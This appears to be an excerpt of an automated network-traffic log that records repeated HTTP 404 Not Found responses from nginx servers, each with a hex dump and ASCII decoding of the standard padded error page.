Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:25 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:36 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:36 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:36 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:54 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:55 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:55 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.27.2Date: Thu, 31 Oct 2024 15:04:56 GMTTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:05:02 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:05:02 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 